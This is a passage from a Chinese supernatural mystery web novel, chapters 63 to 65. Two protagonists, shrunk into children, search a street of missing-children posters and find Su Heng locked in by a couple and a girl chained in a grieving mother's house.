肖靳言眸光在他身上停顿片刻,没有再问,转而重新望向袁广。 “除了你们这几个,还有其他人吗?” 袁广闻言,苦着脸挠了挠头,那动作像个大人,配上他此刻孩童的身体,显得异常滑稽。 “我们这批……一开始是有八个人的。” 他顿了顿,声音压低了几分,带着一丝后怕。 “但是这些天,也不知道怎么回事,基本上每隔一天,就会莫名其妙少一个人……” “活不见人,死不见尸,就那么悄无声息地不见了,谁也不知道他们是怎么失踪的……” “到现在……我们这批人就只剩下我们五个了。” 肖靳言的眸色沉了下去:“失踪的人,长什么样?” 袁广努力回忆着。 “第一个不见的是个女的,进来前好像是个公司白领,第二个是个戴眼镜的男的,瘦高个……” 他一边说,一边比划着。 当袁广描述到第三个失踪的人时,语气带着几分不确定。 “第三个也是个男生,长得挺清秀干净的,一进来就让我们别自乱阵脚,说话的派头,倒有点像……像官方的人。” 听到这描述,肖靳言的瞳孔骤然一缩。 这分明就是闫知许。 肖靳言缓缓深吸口气,声线沉了几分。 “除了他们,还有没有见过一个长得很漂亮,气质有些冷的男生?” 袁广努力想了想,最终还是摇了摇头,语气十分肯定。 “没有,绝对没有。” “我在这里七天了,没看到你说的这种人。” 他说着,问旁边的四个人,“你们见过吗?” 四人连连摇头,“没见到过……” 肖靳言的脸色彻底沉了下来。 宿珩没有出现在这里,那他现在会在哪儿? 就在这时—— “当——” 不远处,突然响起了悠远而沉闷的钟声。 一下,两下……一共响了五声。 那钟声像带着某种难以言喻的牵引力,回荡在死寂的街道上。 原本还因为肖靳言的威慑,而不敢动弹的袁广和其他几个“孩子”,听到钟声的刹那,像是打了鸡血一样,脸上立刻露出了焦急万分的神色。 “吃的!吃的来了!” “快快快!去晚了就没了!” 那几个“孩子”几乎是立刻从地上爬起来,争先恐后地朝着钟声响起的方向疯跑过去,生怕慢了一步。 袁广也急得满头大汗,拔腿就要跟上。 肖靳言却一把抓住了他的胳膊,力道不大,却让他无法挣脱。 “急着去投胎?” “哎呀!放手啊大哥!祖宗!” 袁广急得直跺脚,压低声音飞快说道:“每天晚上五点钟,那边有个废弃的老教堂,会有人免费给我们发吃的喝的!” “虽然不多,但好歹能让我们不至于饿死!去晚了可就真的一点渣都捞不着了!” 提到食物,袁广力气突然大了很多,奋力想甩开肖靳言的手,生怕其他人抢光。 肖靳言松开了手。 袁广如蒙大赦,头也不回地朝着教堂的方向狂奔而去,身影很快就消失在了梧桐树浓密的暗影之中。 肖靳言站在原地,看了一眼钟声传来的方向,又抬头望了望这条贴满了寻人启事,处处透着诡异气息的街道。 闫知许失踪。 宿珩下落不明。 这不是什么好开局…… 肖靳言沉吟了片刻。 随即抬腿,不紧不慢地朝着老教堂的方向走了过去。 不管怎么说,先要找到宿珩再说。 第63章 第 63 章 失落的小孩4 肖靳言跟在那群衣衫褴褛的“孩子”身后, 七拐八绕,穿过两条同样肮脏破败的街道。 终于,在一片相对空旷的区域, 他看到了一栋孤零零的尖顶建筑。 那是一座样式古旧的教堂。 墙体斑驳,尖顶上挂着的木质十字架早已残破不堪,只剩下一半斜斜地挂着, 仿佛随时都会坠落。 教堂门旁立着一个生满了铁锈的巨大铁钟,想来刚才那五声钟响,便是从这里传出的。 袁广几个人已经迫不及待地冲进了教堂。 肖靳言不紧不慢地跟了进去。 教堂内部比外面看起来还要残破, 空气中弥漫着一股潮湿的霉味。 正中央摆放着一张简陋的长木桌。 上面放着一个铁皮桶, 桶里是些清汤寡水的白粥, 旁边还有一筐看起来就不怎么新鲜,边缘发硬的面包。 两个面容憔悴, 约莫四十岁上下的女人,正站在桌后,给那些蜂拥而至的“孩子”分发食物。 一个女人身形略高一些,另一个则稍矮一些, 她们的动作有些机械, 眼神里带着深深的疲惫。 袁广他们已经领到了各自那份少得可怜的食物, 一小碗稀粥, 一小块面包。 他们像饿了很久,正急不可耐地蹲在教堂角落狼吞虎咽起来, 吃相难看,却透着一股令人心酸的真实。 那个叫韩牧川的小卷毛男孩也领到了一份, 只不过他躲得远远的,安安静静地小口吃着,与周围的喧闹格格不入。 肖靳言微微蹙了下眉, 走到长桌前。 那个高一些的女人抬起头,目光落在肖靳言沾着些许污渍的小脸上。 这孩子虽然衣衫破旧,脸上也脏兮兮的,但那双眼睛却异常明亮,五官轮廓隐约透着一股硬朗,不难看出长大后定是个英俊的胚子。 与那些眼神麻木或充满贪婪的“孩子”不同,他显得过于平静了。 女人手上的动作顿了顿,不知为何,心中竟泛起一丝莫名的触动,多给了他一块面包。 “你叫什么名字?几岁了?” 女人声音带着一丝沙哑。 肖靳言接过那两块冷硬的面包,迅速代入孩童的角色,回答:“我叫小言,七岁了。” “七岁?” 女人闻言,眼神微微一亮,立刻扭头对旁边那个矮一些的女人说道:“刘芳,你看,这孩子跟我家小远年纪一样大呢,不过瞧着,倒是比我们家小远要高一些,也壮实些。” 被称作刘芳的女人闻言,叹了口气,脸上露出一抹既惆怅又带着几分羡慕的苦笑。 “是啊,玉芝,你好歹是把你家小远找回来了。我家小宝……唉,还不知道什么时候才能找回来呢。” “能找到的,你放心,肯定能找到的。” 陶玉芝连忙安慰道,只是那话语中的底气,连她自己都觉得有些不足。 肖靳言垂眸,安静地听着她们的对话,心中已然明了。 这扇心门,大概与那些被拐孩童的父母有关,她们遍寻不得的绝望与思念,构成了这里的基石。 而那个名叫“小远”的孩子,引起了他格外的注意。 他抬起头,用一种孩童的天真语气,试探着对陶玉芝说:“阿姨,你长得真好看,小远肯定也长得很漂亮吧?” 他这话半真半假,眼前的女人虽然憔悴,但眉眼间依稀能看出年轻时的秀丽。 陶玉芝听到这句带着稚气的恭维,先是一愣,随即忍不住掩嘴轻轻笑了起来,眼角的疲惫似乎都因此消散了几分。 “你这孩子,嘴巴还挺甜。” 旁边的刘芳也附和道:“小远那孩子,确实长得漂亮,白白净净的,像个瓷娃娃似的,谁见了都喜欢。” 陶玉芝脸上的笑容愈发真切,带着母亲特有的骄傲:“那是自然。” 肖靳言心中顿时有了七八分把握。 他没有再继续追问,以免引起不必要的警觉。 说了声“谢谢”后,他拿着那份食物,走到角落里快要吃完的袁广身边,将自己手中多出来的那块面包递了过去。 袁广正舔着碗底最后一点粥渍,看到肖靳言递过来的面包,眼睛都直了,下意识地咽了咽口水,却又有些迟疑,不敢伸手去接。 周围其他几个“孩子”也都停下了动作,纷纷投来羡慕嫉妒的目光。 肖靳言抬了抬下巴,示意他拿着。 袁广不是傻子,知道天底下没有白吃的午餐。 他犹豫了一下,最终还是伸手接过了那块面包,紧紧捂在怀里,像是生怕被人抢走,同时警惕地瞪了周围几个蠢蠢欲动的家伙一眼。 “你……你还想知道什么?我知道的都已经全告诉你了!” 袁广压低声音问道,语气带着几分小心翼翼。 肖靳言用眼神示意他出去说。 袁广不敢违逆,连忙将最后一口粥喝完,跟着肖靳言走出了破旧的教堂。 教堂外,夜色更浓,梧桐树影在昏黄的路灯下拉得老长。 “教堂里那个高个子女人,你知道她家住在哪儿吗?” 肖靳言开门见山地问道。 袁广毕竟在这里待了七天,对周围的环境还算熟悉。 他伸出脏兮兮的手指,指向不远处街道拐角的一栋建筑。 “喏,就那儿。” 肖靳言顺着他指的方向望去。 那是一栋被院墙围起来的两层小楼,院墙的颜色在夜色中显得格外阴沉。 墙体很高,几乎有三米,比周围的民房都要高出一大截。 最让人触目惊心的,是那高高的院墙顶上,密密麻麻地倒插着无数敲碎的啤酒瓶底。 锋利的玻璃碎片在黯淡的光线下闪烁着森然的冷光,如同一排排狰狞的獠牙。 而那栋被高墙和玻璃碎片层层包裹的小楼,在寂静的夜色中,更像一座坚不可摧的囚笼,散发着令人窒息的压抑与绝望。 二楼的一个窗户透出微弱的灯光,却被木条封死,只能从缝隙中看到一丝光亮。 肖靳言呼吸微顿。 他几乎可以肯定,宿珩,就在那里。 …… 房间内,那份半小时前端进来的晚饭,宿珩几乎没怎么动。 他安静地站在窗前,透过木条封死的缝隙,凝视着院墙外那片被夜色笼罩的昏暗。 同时心里飞快地盘算着,自己当下这具孩童的身体处处受限,要如何才能先从这间卧室逃出去。 这间儿童房里并没有独立的卫生间。 先前,在那对夫妻送晚饭进来的时候,他曾用孩童特有的委婉语气,表示自己想上厕所。 那个自称“妈妈”的女人陶玉芝,脸上明显闪过一丝犹豫和警惕。 但最终,她还是点了点头,拉着他的小手,带着他走出了卧室。 只是,她仅仅允许他去了走廊尽头的卫生间,并且寸步不离地守在卫生间门口。 等他一出来,便立刻又把他带回了这间反锁的儿童房。 这对夫妻,似乎生怕他们失而复得的“小远”,即便是在家里,也会再次凭空消失一般。 那种警觉性,已经高到近乎偏执的地步。 宿珩明白。 如果他们一直这样寸步不离地守着,或者稍有风吹草动就过来查看,他很难找到机会。 眼下,只能先退而求其次。 先扮演好一个乖巧听话的“小远”,才能慢慢消除他们的戒心,争取能走出这个房间的些许自由。 就在宿珩沉思之际—— “叩。” 一粒小石子,忽然砸在了窗户的木板上,发出了一声在寂静中略显突兀的轻响。 宿珩几乎是条件反射地躲向一边。 但下一秒,他心念微动,立刻重新回到窗前,目光透过缝隙,仔细搜寻着石子投来的方向。 “叩。” 又一粒小石子,精准地砸在了同一块木板上。 这一次,宿珩终于在院墙外面,那片浓重的阴影里,捕捉到了一个模糊的身影。 虽然光线暗淡,夜色深沉,但那具和他一样,明显也缩水了的孩童轮廓,以及那股即便隔着这么远,也依旧能感受到的熟悉气场—— 尽管模糊,但某种强烈的直觉让宿珩迅速确认了来人的身份。 肖靳言。 他来了。 一直紧绷的心弦,在认出对方的瞬间,奇异地松弛下来,一种莫名的安定感油然而生。 隔壁书房里,那个男人应该还在。 宿珩不敢发出太大的声音,以免引起对方的怀疑。 他没有片刻犹豫,迅速转身跑到门边,伸出小手,将房间灯的开关,快速地连续按动了三次。 灯光在房间内明明灭灭,短暂而有规律。 院墙外的肖靳言,正借着稀疏的星光和路灯余晖,眯眼打量着那栋二层小楼。 他敏锐地捕捉到了二楼那扇被封死窗户里,一闪而逝的灯光变化。 紧绷的嘴角,终于向上扬起一个微不可察的弧度,心中那块悬着的石头,也悄然落了地。 看来,他没有判断错。 教堂里那个女人口中的“小远”,果然就是宿珩。 只是,眼前这高得离谱的院墙,和那些钉得死死的窗户木条,成了两人之间难以逾越的障碍。 暂时,他们无法通过任何方式传递更具体的消息。 但至少,能够确认对方平安无事,身处何地,这已经是眼下能得到的最好消息了。 肖靳言清了清嗓子,调整了一下声线,让自己的声音听起来更像一个顽皮的孩童。 然后,他猛地朝着小楼的方向,扯着嗓子大喊了一声:“喂——吃饱喝足我先走啦!明天再来找你玩啊!” 声音在寂静的夜里传出老远,带着孩童特有的穿透力。 窗内,宿珩听清了肖靳言刻意拔高的喊话,瞬间明白了对方的用意—— 他会先离开,让自己安心。 然而,肖靳言这突如其来的一嗓子,很快便引起了隔壁住户的不满。 “谁家的小兔崽子!大半夜不睡觉瞎嚷嚷什么!” “吵死了!还有没有点公德心!” 几声夹杂着怒气的斥骂,从旁边的屋子里传了出来。 肖靳言毫不在意地耸了耸肩,转身便消失在了浓稠的夜色之中。 而几乎就在肖靳言的声音落下的同时,宿珩敏锐地听到,自己房门外,传来钥匙插入锁孔的轻微声响。 他心中一凛,不及多想,立即转身,快步走到床边躺下。 顺手从床头柜上拿起一本先前从书架上取下来的精装故事书,摊开在自己面前,摆出一副正在认真的模样。 “咔哒。” 房门被轻轻推开了。 男人高大的身影,出现在了门口。 他并没有完全走进房间,只是站在门口,目光在房间内扫视了一圈,最后落在床上那个似乎正专心看书的小小身影上。 宿珩感觉到那道审视的目光,睫毛微垂,假装没有察觉,手指还轻轻翻过一页书。 王彦宏沉默地看了几秒,似乎并没有发现什么异常。 “小远……”他开口,声音比之前略显低沉,“早点休息。” 说完,他便退了出去,重新将房门仔细地反锁好。 宿珩听着门外远去的脚步声,缓缓松了口气。 又过了约莫半个小时。 楼下隐约传来了陶玉芝回来的声音,似乎还带着一丝疲惫。 紧接着,宿珩便听到那对夫妻在门外压低了声音争执起来。 “……都说了让你别管那么多闲事!小远已经找回来了,还管那个互助会干什么?” 男人的声音带着明显的不耐和压抑的怒火。 “彦宏,你小点声!” 陶玉芝急忙制止他,声音里透着焦急和委屈,“我这也是为了……” 争吵声断断续续,宿珩只清晰地捕捉到了“互助会”那三个字。 很快,两人的脚步声一前一后地朝着楼下走去,渐渐远了。 宿珩屏住呼吸,仔细聆听着。 片刻之后,他听到了院子那扇沉重的铁门,发出一声稀里哗啦的铁链声,随后是门被关上的闷响。 他们出去了。 宿珩立刻从床上起身,快步走到窗边。 透过木条的缝隙,他清楚地看到,王彦宏和陶玉芝的身影,一前一后地走出了院门,很快便融入了街道深沉的夜色之中。 对他来说,这是一个绝佳的机会。 宿珩不再犹豫。 他迅速从自己那套小西装的森*晚*整*理口袋里,摸出了一枚先前在房间书桌抽屉里找到的金属回形针。 他走到门前,蹲下小小的身体,将回形针小心地掰直,用指尖将一端弯折出一个微小的弧度。 然后,他回忆着肖靳言在训练间隙时,曾经教过他的那些简单的□□。 他将细长的金属丝,轻轻探入了老旧的锁孔之中。 金属丝在锁芯内细微地刮擦着,发出几乎听不见的声响。 只是这具身体的手太小,力道也难以精准控制,宿珩只好耐心地感受着锁芯内部的结构。 终于—— “咔哒。” 一声微弱却清晰的轻响。 这扇困住他的“牢门”终于开了一道窄小的缝隙。 第64章 第 64 章 失落的小孩5 宿珩轻轻推开儿童房的门, 侧耳倾听片刻,走廊外一片寂静。 确认周遭安全后,他的身影迅速闪出, 目光扫过四周。 右手边,紧挨着儿童房的,是一间书房。 宿珩走到书房门前, 试探着轻轻拧动黄铜门把手。 一声轻响,门应手而开。 那对夫妻大概笃定他一个孩子,根本无法从反锁的儿童房里出来, 所以这间书房的门并未上锁。 宿珩推门走了进去。 房间里光线昏暗, 窗帘拉得严严实实, 空气中弥漫着一股淡淡的旧书霉味。 借着从走廊勉强渗入的几缕光线,他迅速辨明了房间的格局。 两侧是顶到天花板的巨大书架, 上面密密麻麻地摆满了各种书籍。 房间中央,是一张宽大的红木书桌,桌面上收拾得十分规整,只放着几本书。 宿珩走到书桌前, 拿起最上面的一本。 《走出绝望的阴影——如何面对至亲的永失》。 他指尖微顿, 翻开几页, 里面是关于心理创伤修复、情绪疏导的技巧。 宿珩又拿起旁边几本。 《寻回迷失的羔羊》。 《重建破碎的心灵港湾》。 每一本书, 都像一块沉甸甸的铅石,压得人喘不过气。 他抬眼望向背后那占据了整面墙的书架, 目光所及,尽是此类令人窒息的书籍。 这些无声的文字汇聚成一股冰冷而沉重的绝望气息, 如同无形的潮水般,从四面八方汹涌袭来,瞬间将宿珩紧紧包裹。 是那种深入骨髓, 带着苦苦寻觅却终无所获的无力与悲恸。 是日复一日被撕裂的伤口。 宿珩的特殊体质,让他对这种浓烈的负面情绪格外敏感。 但他现在这具孩童的身体本就孱弱,被这股庞大的负面情绪猛地一压,胸口仿佛被一只无形的手死死扼住,呼吸骤然变得滞涩困难。 宿珩的脸色倏地白了几分,额角渗出细密的冷汗,小小的身体控制不住地微微颤抖。 他咬紧牙关,强迫自己调匀呼吸,试图抵御这股侵蚀心神的寒意。 最后,他强忍着不适,迅速退出了书房,并将房门轻轻带上,恢复原样。 站在幽暗的走廊上,宿珩靠着冰冷的墙壁,闭上眼,努力平复着胸腔内翻涌的窒息感。 过了好一阵,那股不适才渐渐消退。 整个二楼的空间并不大。 除了他刚出来的儿童房、旁边的书房,以及先前去过的卫生间,便再没有其他房间了。 宿珩定了定神。 借着从走廊上的些许微光,他找到了楼梯的位置,放轻脚步,一级一级地朝楼下走去。 一楼没有开灯,一片漆黑。 宿珩担心那对夫妻随时可能回来,如果贸然开灯,很容易被察觉。 他凭借着对黑暗的适应力,摸索着走到楼梯口,目光在周围仔细逡巡。 很快,他在楼梯口旁一个半人高的杂物柜上,看到了一样东西。 那是一个小巧的老式手电筒,银色的金属外壳,看起来有些年头了。 宿珩将手电筒握在手里,按下开关。 一束昏黄的光柱亮起,驱散了眼前的部分黑暗。 他借着手电筒的光,开始迅速打量一楼的布局。 正对着楼梯的,是客厅。 空间不大,只摆放着一个看起来有些陈旧的双人座沙发,对面墙上挂着一个老式挂钟,还有一个发黄的电视柜,电视机上积着一层薄灰。 除此之外,再无他物,显得空旷而冷清。 客厅左手边是厨房,宿珩走进去照了照。 厨房的地上,靠墙放着一个半人高的铁皮桶,里面只剩下薄薄一层类似粥水的浑浊液体,散发着淡淡的馊味。 旁边橱柜的门虚掩着,里面空空如也,再没什么值得注意的线索。 宿珩从厨房出来,目光投向客厅右手边唯一紧闭的房门。 那应该就是主卧了。 他走到主卧门前,门上是和儿童房一样的老式锁孔。 宿珩试着拧转门把手,纹丝不动,门被锁上了。 他从口袋里再次摸出那枚掰直的回形针,正准备故技重施。 突然—— “哗啦——哐当!” 院子外,那扇沉重的铁门猛地响起一阵刺耳的铁链拖拽声,紧接着是门被用力推开的声响。 他们居然这么快就回来了? 宿珩心中一紧,几乎是瞬间反应过来,立刻按灭了手中的手电筒,周遭瞬间重回黑暗。 他动作极快地将手电筒放回杂物柜原来的位置,不差分毫。 随后,他顾不上多想,转身便朝着楼梯的方向,以孩童身体所能达到的最快速度,却又竭力不发出一点声音地跑回了二楼。 回到儿童房后,他迅速将回形针探入锁孔,凭着先前的记忆和手感,飞快拨弄了几下。 门锁再次恢复成了从外面反锁的状态。 宿珩快步走到床边,掀开被子躺了进去,闭上眼睛,调整呼吸,假装正在熟睡。 他不知道的是,就在他刚刚回到儿童房后不久。 楼下,王彦宏和陶玉芝一前一后地走了进来。 陶玉芝径直走向厨房,开始接水洗刷那个铁皮桶。 王彦宏却没有急着上楼。 他的目光四处看了一圈,最后悄无声息落在了楼梯口杂物柜上,那个银色手电筒身上。 他缓步走了过去,伸出手,指尖轻轻触碰了一下手电筒头部的玻璃镜面。 这种老式手电筒用的是钨丝灯泡,点亮时间稍长,玻璃便会发热。 此时,那玻璃镜面上,还残留着一丝微弱的,尚未完全散去的温热。 王彦宏的动作顿了顿。 他抬起头,目光似乎穿过了昏暗的楼梯,径直望向二楼儿童房的方向。 那双眼睛在黑暗中愈发显得幽深难测。 …… 另一边。 夜色更深,冰冷的寒气在空气中弥漫。 肖靳言在一处废弃的桥洞下,找到了白天那几个抱团取暖的“孩子”。 桥洞里铺着些破旧的纸板和烂布,靠墙的位置烧着一团快要熄灭的柴火。 袁广和其他几个人正挤作一团,互相依偎着抵御寒冷,睡得迷迷糊糊。 听到脚步声,袁广最先警醒过来,他揉了揉惺忪的睡眼,接着微弱的火光,看清来人是肖靳言。 他脸上立刻堆起了讨好的笑容,一个激灵从地上爬了起来。 “大哥,您来了!” 袁广连忙把自己先前占据的那块,最宽敞也最干燥的纸板让了出来,还用力推了推旁边睡得正沉的同伴。 “去去去,往那边挤挤!” 那同伴被推醒,不满地嘟囔了几声。 但在看到肖靳言那张没什么表情的小脸后,立刻噤声,乖乖地朝另一边挪了挪,给肖靳言腾出了足够的位置。 肖靳言也不客气,径直走到袁广先前躺过的地方,大大方方地坐了下来。 尽管身上穿着破旧的衣服,身体也变成了孩童的模样,那股不怒自威的气场却丝毫未减,反而因这反差更添了几分诡异的压迫感。 肖靳言坐下后,目光在桥洞内阴暗的角落扫了一圈。 只有四个人。 “那个叫韩牧川的小卷毛呢?” 袁广刚重新坐好,闻言愣了一下,下意识地朝着韩牧川先前待过的角落看去,那里只剩下小半块被踩得更扁的纸板。 “好像刚才还在……” 袁广有些纳闷地挠了挠头。 他转向之前睡在韩牧川旁边的人,问道:“那小子呢?” 那人迷迷糊糊地揉着眼睛,含糊不清地嘟囔:“几分钟前我好像……好像听到他出去的脚步声了,可能……是出去上厕所了吧。” 话音刚落,桥洞里的所有人,像突然被一盆冰水从头浇下。 他们几人面面相觑,眼神里都透着一股浓浓的不安和惊恐。 “他……他不会也跟之前那些人一样,就这么……失踪了吧?” 不等袁广再说什么,肖靳言已经站起身,面无表情地迈步走出了桥洞。 “哎,大哥!等等我们!” 袁广见状,也顾不上夜里的寒冷,连忙从地上爬起来,招呼着其他人,急匆匆地跟了出去。 桥洞外的夜色愈发浓黑,像一块厚重的幕布,将一切都笼罩在其中。 只有远处街角的路灯,散发着几缕微弱而昏黄的光芒,勉强照亮一小片区域。 “韩牧川!” “小卷毛!你在哪儿啊?” 袁广几个人站在桥洞口,扯着嗓子喊了几声,声音在寂静的夜空下显得有些空洞,却没有得到任何回应。 肖靳言凭借着远超常人的夜视能力,目光冷峻地扫视着四周。 河岸边的芦苇丛,远处废弃的房屋轮廓,以及更远处黑黢黢的树影,都没有那个小小的身影。 袁广哆哆嗦嗦地凑到肖靳言身边。 “大哥……我看……我看他八成是跟前面那几个一样,就这么……突然不见了。” 他一想到那些悄无声息失踪的人,就觉得一股寒气从脚底板直冲脑门,连带着说话都有些不利索。 肖靳言的脸色沉静,只是那双黑沉的眸子在夜色中显得更加幽深。 他转头看向袁广,“之前失踪的那些人,具体是怎么回事?” 袁广努力咽了口唾沫,强迫自己冷静下来,回忆道: “第一个失踪的是那个女白领,那天晚上,她嫌桥洞里又冷又潮,味道也难闻,就说要出去透透气,结果……结果就再也没回来过。” “第二个失踪的是那个戴眼镜的瘦高个男的,他怎么不见的,我们……我们也不太清楚。就是头天晚上还好好的,第二天早上醒过来,人就没了。” “至于第三个……” 袁广的语气带着一丝后怕,“那天晚上,他好像是听到了什么动静,就一个人追了出去,然后……然后就再也没见他回来。” 肖靳言听完,面色愈发沉重。 他将目光投向桥洞外那条幽深寂静的街道,远处依稀还有几点微弱的灯光在闪烁。 “你们先回去吧。”肖靳言口吻严峻。 “大哥,那你……你一个人要去哪儿?” 想到接连失踪的四个人,袁广有些不放心地问。 但接触到肖靳言那双深不见底的眸子,后面的话又识趣地咽了回去。 他们几个人现在对肖靳言是又敬又怕,不敢有丝毫违逆,连忙缩着脖子,快步跑回了桥洞。 虽然害怕,但他们强撑着,谁也不敢再轻易睡过去,生怕下一个失踪的就是自己。 肖靳言没有再停留,身影很快融入了浓稠的夜色之中。 他像一只无声的猎豹,独自穿梭在梧桐路街道错综复杂的小巷里。 那些贴满了寻人启事的墙壁,上面每一张孩童的脸仿佛活了过来,幽森的目光直视着他,在夜色中显得愈发诡异。 肖靳言却视若无睹,不久后,他重新回到了那座破旧的老教堂附近。 让他有些意外的是—— 这个时间,教堂里竟然还有微弱的灯光,从门窗的缝隙中透出来。 肖靳言心中微动,放轻脚步,悄无声息地挪到教堂一侧低矮的窗户边。 窗户玻璃布满了灰尘,还有几道裂痕。 他小心地擦去一小块污渍,透过狭窄的缝隙朝里望去。 教堂内部,傍晚时用来分发食物的长木桌已经被挪开了。 取而代之的,是在教堂中央的位置,摆放了一圈看起来有些年头的木头凳子,不多不少,正好十三个,围成一个不甚规整的圆圈。 在如此的深夜中,那十三个凳子上,仍稀稀拉拉地坐着六个人。 他们的脸上都带着难以掩饰的疲惫与哀伤,神情有些恍惚和失神。 其中一个,正是在教堂里分发食物时,那个名叫刘芳的女人。 她坐在凳子上,低着头,双手捂着脸,肩膀控制不住地剧烈耸动着,压抑的呜咽声断断续续地从指缝间溢出。 坐在她旁边的一个中年男人,伸出手,轻轻拍着她的肩膀,用一种带着同样沉痛的语气安慰道: “别太难过了,都会找回来的……” “是啊,都会找回来的……” 旁边另一个人喃喃地重复了一遍,只是那声音听起来却充满了无力和绝望。 肖靳言站在窗外,沉默注视着这一切。 这是一群失去了孩子的父母,在绝望中抱团取暖,互相慰藉。 过了一阵,教堂里的人影开始陆续起身,带着满身的疲惫和未散的悲伤,三三两两地离开。 最后,只剩下刘芳一个人。 她擦了擦眼泪,失魂落魄地站起身,也朝着教堂外走去。 她孤零零地走在空寂的街道上,身影在昏黄的路灯下拉得老长,显得格外瘦弱和无助。 刘芳沿着街道,拐进了一条更窄的小巷。 最终在一栋看起来比周围民房更低矮破旧的房子前停下,推开吱呀作响的木门,走了进去。 她自始至终,都没有注意到—— 在她身后不远处,一道小小的身影,如同影子般,悄无声息地跟随着她。 第65章 第 65 章 失落的小孩6 肖靳言跟着刘芳, 来到那栋低矮破旧的房子前。 刘芳的身影消失在门后,动作间带着一种习以为常的麻木。 肖靳言没有立刻靠近。 他在暗处静静等待片刻,确认没有其他动静后, 才一声不响摸到了窗边,借着窗棂上一点积灰的缝隙,向内望去。 房间里陈设极其简陋, 几乎没有任何像样的家具。 一张斑驳的木桌摆在房间中央,既充当饭桌,也堆满了各种杂物。 墙壁上, 糊着泛黄的旧报纸, 有的地方已经剥落, 露出里面灰黑的砖墙。 昏暗的灯泡散发着微弱的光芒,将整个房间映照得愈发萧索。 刘芳失魂落魄地坐在木桌前, 目光呆滞地看着桌面上摆放着的一个旧相框。 相框里,是一张褪色的合影。 照片上,年轻一些的刘芳抱着一个约莫七八岁的小女孩,笑得十分灿烂。 那女孩梳着两条整齐的小辫子, 眉眼弯弯, 看起来活泼可爱。 刘芳伸出微微颤抖的手, 指尖轻轻抚过照片上女孩的脸颊, 眼神里充满了浓得化不开的哀伤与思念。 她就那样静静地坐着,一动不动, 仿佛一尊失了魂的雕像。 过了许久,她像是突然意识到了什么, 猛地扭过头,锐利的目光直直射向窗户的方向。 肖靳言心中一凛,几乎是凭借本能, 身体瞬间矮了下去,紧紧贴在冰冷的窗台下。 幸好他现在是孩童的身体,目标小,不然方才那一下,极有可能被发现。 “哗啦——” 不等他多想,刘芳已经几步走到窗边,猛然拉上窗帘,厚重的布料隔绝了任何可能从外界探进来的视线。 肖靳言蹲在窗台下,蹙起了眉头。 刘芳的反应有些不太对劲,那种警觉性,不像一个普通的失独母亲。 可惜窗帘太厚,他无法再看到里面的景象。 不过肖靳言没有选择放弃。 他像一头极具耐心的孤狼,安静地蹲守在窗台之下,身体几乎与夜色融为一体。 时间一分一秒地流逝。 周围寂静无声,只有偶尔从远处传来的几声犬吠,更添深夜的寒意与诡谲。 不知过了多久,房间内的灯光终于熄灭了。 又过了一阵,从房间里隐约传来了刘芳均匀而轻微的鼾声。 她终于睡着了。 肖靳言缓缓站起身,轻微活动了一下有些僵硬的四肢。 他没有发出任何声音,从破旧的衣服口袋里摸出一根细长的铁丝。 这还是他先前在桥洞的地方顺手捡的。 他走到那扇木门前,将铁丝探入老旧的锁孔,细微的金属刮擦声在寂静的夜里几不可闻。 门锁被轻易撬开。 肖靳言推开一道仅容一人通过的缝隙,如游鱼般闪身进入屋内。 房间里一片漆黑,弥漫着一股淡淡的霉味和陈腐的气息。 他微微眯眼,强大的夜视能力让他很快适应了黑暗,仔细打量这间民房的布局。 这是一个小小的套间。 外面是刚才他通过窗户看到的那个小客厅,里面还有一扇门,此刻紧闭着,想来是刘芳的卧室。 客厅里空荡荡的,除了那张堆满杂物的桌子和一张孤零零的板凳,几乎再没有其他东西。 肖靳言的目光落在那张合影上,照片上的小女孩,他依稀记得。 在梧桐街道那些铺天盖地的寻人启事中,他见过这张脸,不止一次。 他的视线从照片上移开,转向客厅另一侧。 那里,还有一扇门。 与刘芳卧室那扇普通的木门不同,这扇门的门把手上,赫然挂着一把锈迹斑斑,却异常厚重的铁链锁。 肖靳言的眸光沉了沉,他迈步朝着那扇上了锁的房间走去。 刚靠近几步—— “呜呜……放我出去……” “求求你,放我出去吧……” 一阵压抑而沙哑的哭喊声,伴随着铁链被用力拉扯时发出的“哗啦啦”的刺耳声响,突然从门后传了出来。 那声音听起来稚嫩,带着哭腔,分明是个小女孩的声音。 肖靳言心中忽感不妙。 果然,几乎就在哭喊声响起的瞬间—— 里间卧室突兀地响起刘芳被吵醒后,猛然翻身下床的动静。 肖靳言暗道一声不好,不再犹豫,立刻转身,以最快的速度退出了房屋,并轻轻将门带上。 他刚退到窗台的阴影下,刘芳开门出来,客厅的灯“啪”的一声被拍亮。 昏黄的灯光从门缝和窗户透了出来。 刘芳警惕地看了一眼客厅,见没有任何异常,这才快步走到那扇挂着铁链锁的房门前,从睡衣口袋里摸索着,掏出了一串钥匙。 钥匙碰撞发出叮当作响的清脆声响。 她从那串钥匙中熟练地摸出其中一把,插/入了铁链锁的锁孔。 “咔嚓。” 铁链锁应声而开。 刘芳推开门,昏黄的灯光瞬间涌入那个漆黑的小房间。 只见房间的角落里,一个头发杂乱,衣衫破旧的小女孩瑟缩着身体,双手紧紧抱着膝盖,正用一双惊恐的眼睛望着她。 女孩的手腕和脚踝上,都缠绕着粗重的铁链,铁链的另一端,则牢牢地固定在墙壁上。 “是不是饿了?” 刘芳叹了口气,声音里带着一丝疲惫。 女孩听到她的声音,身体抖得更厉害了,她连忙摇头,用带着哭腔的声音哀求道:“求求你,放我出去好不好?” 刘芳脸上的表情没有丝毫变化,只是沉默地摇了摇头。 她转身从客厅桌上拿起一块白天剩下的硬面包,走回房间,塞到小女孩的手里。 “吃吧。” 说完,不再管小女孩的哭喊和哀求,刘芳径直走出房间,重新将那扇门锁上,铁链发出的声响在寂静的夜里格外刺耳。 刘芳并没有立刻回到卧室睡觉。 她失神地走到客厅的桌子前,拿起那张合影。 她用指腹一遍遍地摩挲着照片上女儿的脸,口中喃喃自语,声音轻得几乎听不见: “小宝……妈妈好想你……” “你放心,妈妈很快……很快就能把你找回来了……” 她的眼神空洞而偏执,在昏黄的灯光下,透着一股令人心悸的疯狂。 这一切,都被重新躲回窗台下的肖靳言,听了个大概。 他的脸色凝重到了极点。 这个心门世界,恐怕比他最初预想的还要复杂和扭曲。 失孤的绝望。 寻觅的执念。 似乎在这些父母的心中,催生出了某种更为深层,也更为可怕的东西。 …… 时间很快来到第二天。 窗外重新恢复成一片灰蒙蒙的天色。 早上八点整,儿童房的门锁准时传来“咔哒”一声轻响,规律得如同某种仪式。 陶玉芝端着一个餐盘走了进来,脸上带着一丝刻意维持的温柔笑意。 宿珩早就醒了。 他此刻正盘腿坐在柔软的地毯上,面前散落着那些颜色鲜艳的积木。 